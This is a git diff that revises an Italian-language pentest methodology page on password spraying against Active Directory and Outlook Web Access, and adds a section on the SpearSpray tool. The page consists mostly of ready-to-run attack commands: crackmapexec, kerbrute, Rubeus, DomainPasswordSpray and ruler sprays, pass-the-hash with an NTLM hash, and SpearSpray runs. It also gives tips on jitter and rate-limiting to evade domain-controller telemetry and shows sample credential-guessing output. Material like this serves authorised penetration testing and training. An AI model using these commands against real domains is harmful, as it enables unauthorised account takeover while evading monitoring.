diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index b4a90a783..899bb7790 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Una volta trovati diversi **nomi utente validi**, puoi provare le **password più comuni** (tieni presente la politica delle password dell'ambiente) con ciascuno degli utenti scoperti.\ -Per **default**, la **lunghezza minima** della **password** è **7**. +Una volta trovati diversi **username validi** puoi provare le **password più comuni** (tieni presente la password policy dell'ambiente) con ciascuno degli utenti scoperti.\ +Per **default** la **lunghezza minima** della **password** è **7**. -Le liste di nomi utente comuni potrebbero essere utili: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Nota che **potresti bloccare alcuni account se provi diverse password errate** (per default più di 10). +Nota che **potresti bloccare alcuni account se provi diverse password sbagliate** (di default più di 10). -### Get password policy +### Ottenere la password policy -Se hai alcune credenziali utente o una shell come utente di dominio, puoi **ottenere la politica delle password con**: +Se hai delle credenziali utente o una shell come domain user puoi **ottenere la password policy con**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,27 +31,27 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitation from Linux (or all) +### Sfruttamento da Linux (o qualsiasi sistema) -- Utilizzando **crackmapexec:** +- Usando **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- Utilizzando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) +- Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare il blocco):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare lockouts):**_ ```bash spray.sh -smb ``` -- Utilizzando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO A VOLTE NON FUNZIONA +- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO — A VOLTE NON FUNZIONA ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -60,7 +60,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123 ![](<../../images/image (745).png>) -- Utilizzando **rpcclient**: +- Usando **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do @@ -69,7 +69,7 @@ done ``` #### Da Windows -- Con la versione di [Rubeus](https://github.com/Zer1t0/Rubeus) con il modulo brute: +- Con la versione di [Rubeus](https://github.com/Zer1t0/Rubeus) con brute module: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e otterrà la politica delle password dal dominio e limiterà i tentativi in base ad essa): +- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare automaticamente gli utenti dal dominio e recupera la password policy dal dominio, limitando i tentativi in base a essa): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,21 +85,86 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -## Forza Bruta +## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) + +Kerberos pre-auth–based spraying riduce il rumore rispetto a SMB/NTLM/LDAP bind attempts e si allinea meglio con AD lockout policies. SpearSpray unisce LDAP-driven targeting, un motore di pattern e awareness delle policy (domain policy + PSOs + badPwdCount buffer) per sprayare in modo preciso e sicuro. Può anche taggare i principals compromessi in Neo4j per BloodHound pathing. + +Concetti chiave: +- Scoperta degli utenti via LDAP con paginazione e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati. +- Domain lockout policy + PSO-aware filtering per lasciare un buffer configurabile di tentativi (threshold) e evitare di bloccare gli utenti. +- Kerberos pre-auth validation usando binding gssapi veloci (genera 4768/4771 sui DCs invece di 4625). +- Generazione di password per utente basata su pattern usando variabili come nomi e valori temporali derivati da pwdLastSet di ogni utente. +- Controllo del throughput con threads, jitter e max requests per second. +- Integrazione opzionale con Neo4j per marcare owned users per BloodHound. + +Uso base e scoperta: +```bash +# List available pattern variables +spearspray -l + +# Basic run (LDAP bind over TCP/389) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local + +# LDAPS (TCP/636) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl +``` +Targeting e controllo dei pattern: +```bash +# Custom LDAP filter (e.g., target specific OU/attributes) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ +-q "(&(objectCategory=person)(objectClass=user)(department=IT))" + +# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME +``` +Controlli di stealth e sicurezza: +```bash +# Control concurrency, add jitter, and cap request rate +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 + +# Leave N attempts in reserve before lockout (default threshold: 2) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 +``` +Neo4j/BloodHound arricchimento: +```bash +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 +``` +Panoramica del sistema dei pattern (patterns.txt): +```text +# Example templates consuming per-user attributes and temporal context +{name}{separator}{year}{suffix} +{month_en}{separator}{short_year}{suffix} +{season_en}{separator}{year}{suffix} +{samaccountname} +{extra}{separator}{year}{suffix} +``` +Available variables include: +- {name}, {samaccountname} +- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers and org token: {separator}, {suffix}, {extra} + +Operational notes: +- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info. +- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. +- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. + +> Suggerimento: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. + ## Outlook Web Access Ci sono diversi strumenti per p**assword spraying outlook**. - Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- Con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - Con [Ruler](https://github.com/sensepost/ruler) (affidabile!) - Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Per utilizzare uno di questi strumenti, hai bisogno di un elenco di utenti e di una password / un piccolo elenco di password da spruzzare. +Per usare uno qualsiasi di questi strumenti, ti serve una lista di utenti e una password / una piccola lista di password da spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -120,6 +185,11 @@ Per utilizzare uno di questi strumenti, hai bisogno di un elenco di utenti e di ## Riferimenti +- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) +- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) +- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray) +- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound) +- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)